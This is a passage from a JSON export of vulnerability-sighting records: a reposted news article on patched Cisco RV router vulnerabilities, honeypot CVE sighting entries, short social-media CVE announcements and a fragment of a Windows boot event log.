9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20711", "author": {"login": "automation"}}, {"uuid": "d2213eba-734b-44a0-a28a-7db4d990a430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.364652+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-28343", "author": {"login": "automation"}}, {"uuid": "17e27731-aed2-4e41-a7b7-91255b58dff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.351280+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41422", "content": "t is highly recommended to apply the security updates as soon as possible. PoC exploits availableThe Cisco \u201cProduct Security Incident Response Team (PSIRT) states that they are aware of proof-of-concept exploit code available for several of the vulnerabilities fixed in these updates.\n\nThe CVE-2022-20699 vulnerability was discovered and used by the FlashBack Team during the Pwn2Own Austin 2021 hacking contest.\n\nFlashBack\u2019s Pedro Ribeiro\u00a0says they will be demonstrating the exploit\u00a0and releasing a public PoC as part of their talk at OffensiveCon 2022 titled \u201cPwn2Own\u2019ing Your Router Over the Internet.\n\nIt is unknown what PoC exploits are available for the other vulnerabilities, however once security updates are released,\u00a0these PoCs tend to become publicly fairly quickly.\n\nOnce they are public, threat actors will quickly utilize them in attacks, making it important to update any RV routers as soon as possible.\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: How ILOVEYOU worm became the first global computer virus pandemic Source: bleepingcomputer.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/b2b-90x90.jpg ESET antivirus bug let attackers gain Windows SYSTEM privileges1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/image6-90x90.png Cloudflare launches a paid public bug bounty program2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/do-any-web-page-convert-into-elementor-pro-template-90x90.jpg 600K WordPress sites impacted by critical plugin RCE vulnerability3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/hacking-windows-10-evade-detection-netstat-tasklist.1280x600-90x90.jpg Windows vulnerability with new public exploits lets you become admin4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ryanpickrenapplehack-768x768-1-90x90.jpg Apple pays out $100k bounty for Safari webcam hack that imperiled victims\u2019 online accounts1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Apple-glitch-90x90.jpg Apple fixes new zero-day exploited to hack macOS, iOS devices1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/new-linux-kernel-memory-corruption-bug-causes-full-system-compromise-90x90.jpg Linux system service bug gives root on all major distros, exploit released1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/centos1-90x90.png CWP bugs allow code execution as root on Linux servers1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/mcafee-d2c-90x90.jpg McAfee Bug Can Be Exploited to Gain Windows SYSTEM Privileges2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/ezgif.com-gif-maker-12-90x90.jpg Cisco bug gives remote attackers root privileges via debug mode2 weeks ago\nThe post Cisco patches critical vulnerabilities in SMB routers, exploitation available first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20699", "author": {"login": "automation"}}, {"uuid": "275d5b63-d9fc-4f61-bc92-c435742ab19c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.299928+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-60698", "author": {"login": "automation"}}, {"uuid": "f747b696-078d-4a8c-9326-3163f9bcbd41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.214418+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-45422", "author": {"login": "automation"}}, {"uuid": "d15d383f-7635-4c60-863a-e3daf0e4ef0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.151947+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-37291", "author": {"login": "automation"}}, {"uuid": "c49a8462-3147-4daa-8553-ac5d71daf524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.088022+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-24442", "author": {"login": "automation"}}, {"uuid": "c05effee-05ac-4218-905b-bcda99566382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.023148+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-4257", "author": {"login": "automation"}}, {"uuid": "5ffc10f1-a2b3-471e-ad4d-0c8780235c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.966079+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-26258", "author": {"login": "automation"}}, {"uuid": "3ed12f12-4dda-44cc-b6f3-69f6a04f5970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.856214+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-29464", "author": {"login": "automation"}}, {"uuid": "86115a7d-20a6-4e99-80b2-643aa30d9aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.765844+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-41940", "author": {"login": "automation"}}, {"uuid": "6396b7d7-6205-4d7d-bd6f-e287d52b4b85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.711410+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-39312", "author": {"login": "automation"}}, {"uuid": "ec59f693-6822-44bc-9f1e-81acbd8cbcd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.623177+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-1177", "author": {"login": "automation"}}, {"uuid": "19431ad9-2ea1-4e04-8d3e-a7ba5e9c5716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.565019+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-16059", "author": {"login": "automation"}}, {"uuid": "ee4a68d8-b86c-42ed-862e-3b68b7cb44c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.470859+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-5847", "author": {"login": "automation"}}, {"uuid": "fad51c36-c177-4bb3-9e31-ebd22f00557a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.406393+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-2652", "author": {"login": "automation"}}, {"uuid": "994e6140-fe69-4c9d-b7ee-7fa86abff10d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.312345+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-28219", "author": {"login": "automation"}}, {"uuid": "0eab9eb1-ccf8-4a7b-a771-7564b931120a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.211972+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2019-17506", "author": {"login": "automation"}}, {"uuid": "2541c697-6372-41c7-ac0d-064c13941fd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.142914+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-5830", "author": {"login": "automation"}}, {"uuid": "c18658cb-c618-44f7-ac7b-a9b6a56b9459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.081050+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-39026", "author": {"login": "automation"}}, {"uuid": "e1ccd002-deac-4e8e-9574-34f629b561f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:04.008932+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2025-34023", "author": {"login": "automation"}}, {"uuid": "a80ab751-877c-4d03-a1dc-318473e53a7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.911855+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-8191", "author": {"login": "automation"}}, {"uuid": "66ec4b52-ee2f-4c6a-8b5d-3545e8a40cc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.818591+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-3055", "author": {"login": "automation"}}, {"uuid": "83d5e193-c4bc-4b60-9549-775f50c2505d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.761578+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2026-5153", "author": {"login": "automation"}}, {"uuid": "c48d20b9-e74c-4f83-a2d9-7cfe6643848c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.705501+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-27670", "author": {"login": "automation"}}, {"uuid": "b7fe6189-7121-4743-8e8e-b50dbd3cbaa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.612126+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2011-3600", "author": {"login": "automation"}}, {"uuid": "c8424e0d-61da-46d0-b308-ddb0355e941d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.553303+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-21307", "author": {"login": "automation"}}, {"uuid": "f5616f71-d3a2-4e6e-8c36-e623640c2e4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.500575+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-19410", "author": {"login": "automation"}}, {"uuid": "ef375d3c-e60a-44a4-b36c-f3d0e40d6e9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.452167+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-42344", "author": {"login": "automation"}}, {"uuid": "1cf36f71-b5d2-4169-827f-8852a43c901e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.406277+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-39211", "author": {"login": "automation"}}, {"uuid": "f95fe6a7-f4ed-4060-88ab-f4f8e4cdb7a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.346689+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-34993", "author": {"login": "automation"}}, {"uuid": "73fb9f65-bd83-46a5-970f-10d02baf18c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.278491+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-12847", "author": {"login": "automation"}}, {"uuid": "4b3d6518-5701-494f-8060-8d6df934ad62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.211456+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-34960", "author": {"login": "automation"}}, {"uuid": "82bc7cf5-2e92-4a5c-bb65-1bdf147a03aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.145910+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-4063", "author": {"login": "automation"}}, {"uuid": "bf122b9c-8a5d-4fb1-855e-471ff7d2173b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:03.066043+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-19625", "author": {"login": "automation"}}, {"uuid": "4a0a3c23-cddb-41a7-8d0f-ee7f942834b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:02.997931+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-28079", "author": {"login": "automation"}}, {"uuid": "1e94abed-3142-4cbd-b211-c33f72d1ea0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:02.941819+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-23347", "author": {"login": "automation"}}, {"uuid": "034915df-a7f1-4052-b994-779d86798ff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:02.835356+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2016-1555", "author": {"login": "automation"}}, {"uuid": "3d9062f7-930d-4d0e-b632-570b88e152d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:02.739815+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-42793", "author": {"login": "automation"}}, {"uuid": "1b4d1ddd-8801-43ae-a8b8-5389ad5c6f73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:02.668776+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2024-2389", "author": {"login": "automation"}}, {"uuid": "f422a7a9-50f4-4665-8e78-77ce7c5abb27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:02.594912+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-7335", "author": {"login": "automation"}}, {"uuid": "a82ec503-4e10-4a01-bdcf-9953066d031f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:50:26.967725+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/jqokechfmi34i", "content": "CVE-2026-86183 - diem-project diem dmWidget BasedmWidgetActions.class.php authorization\nCVE ID : CVE-2026-86183\n \n Published : Sept. 6, 2026, 9 a.m. | 28\u00a0minutes ago\n \n Description : A vulnerability was identified in diem-project diem up to 5.1.3. This vulnerability affects un...", "vulnerability": "CVE-2026-86183", "author": {"login": "automation"}}, {"uuid": "50ca92d6-f63b-42ba-ba6c-c8c70b5787db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:48:27.514217+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/h4eovtdohuy5z", "content": "CVE-2026-86182 - diem-project diem dmConsole actions.class.php executeCommand cross-site request forgery\nCVE ID : CVE-2026-86182\n \n Published : Sept. 6, 2026, 8:45 a.m. | 43\u00a0minutes ago\n \n Description : A vulnerability was determined in diem-project diem up to 5.1.3. This affe...", "vulnerability": "CVE-2026-86182", "author": {"login": "automation"}}, {"uuid": "b79bf4d7-c439-4f09-b861-22cfcc737af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:42:27.820738+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3yxjys4sqd66e", "content": "CVE-2026-86179 - code-projects Daily Expense Manager Database Backup exp_ak.sql information disclosure\nCVE ID : CVE-2026-86179\n \n Published : Sept. 6, 2026, 8:16 a.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : A flaw has been found in code-projects Daily Expense Manager 1.0. Af...", "vulnerability": "CVE-2026-86179", "author": {"login": "automation"}}, {"uuid": "b410f5a1-fef7-4438-8f8d-4705f09922d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:37:08.078368+00:00", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mutozexru32p", "content": "\ud83d\udccc GitLab Releases Critical Security Updates for GraphQL API Vulnerability (CVE-2026-19478) https://www.cyberhub.blog/article/30817-gitlab-releases-critical-security-updates-for-graphql-api-vulnerability-cve-2026-19478", "vulnerability": "cve-2026-19478", "author": {"login": "automation"}}, {"uuid": "3f4943f8-12fc-40a9-9345-b4209f840e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:36:27.437708+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/ezbipv4pvvcct", "content": "CVE-2026-86180 - code-projects Task Management System In PHP Login index.php sql injection\nCVE ID : CVE-2026-86180\n \n Published : Sept. 6, 2026, 8:16 a.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : A vulnerability has been found in code-projects Task Management System In PHP 1....", "vulnerability": "CVE-2026-86180", "author": {"login": "automation"}}, {"uuid": "6d8ca6e1-240e-47b3-90cb-424e0251a6d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:30:27.484069+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/aitpdvhdyzcbs", "content": "CVE-2026-86172 - DefaultFuction CRM delete.php sql injection\nCVE ID : CVE-2026-86172\n \n Published : Sept. 6, 2026, 8:16 a.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : A vulnerability was detected in DefaultFuction CRM 1.0.0. This impacts an unknown function of the file /module...", "vulnerability": "CVE-2026-86172", "author": {"login": "automation"}}, {"uuid": "87df7a1f-90c8-4454-b0c8-a56afcb4330c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:10:34.455138+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/ea7a2ba5bd2b594e36f0bfcb053af294", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 